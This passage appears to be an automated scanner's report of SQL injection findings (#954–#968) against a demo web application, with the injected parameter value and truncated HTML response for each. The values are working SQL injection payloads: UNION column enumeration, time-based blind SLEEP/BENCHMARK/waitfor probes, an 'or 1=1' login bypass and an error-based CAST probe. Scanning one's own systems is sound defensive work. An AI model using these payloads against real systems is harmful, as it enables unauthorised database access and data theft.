language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #954
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 16--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #955
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io '));waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #956
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width
=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps
/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript">
window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start 
of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://
static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320">
</script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <
link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJb
WFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQI
oqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #957
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #958
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #959
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin' or '1'='1'/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #960
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.ioORDER BY 3#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #961
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('
A')),4,5,6,7#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #962
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||
CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE
0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR
(113)) AS NUMERIC)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #963
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ,(select * from (select(sleep(10)))a)Response Content-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #964
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=
device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/
head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> 
window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of
Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://
static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> <
/script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link
rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWF
nZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoq
IkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary hints 
on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #965
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #966
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #967
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #968
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
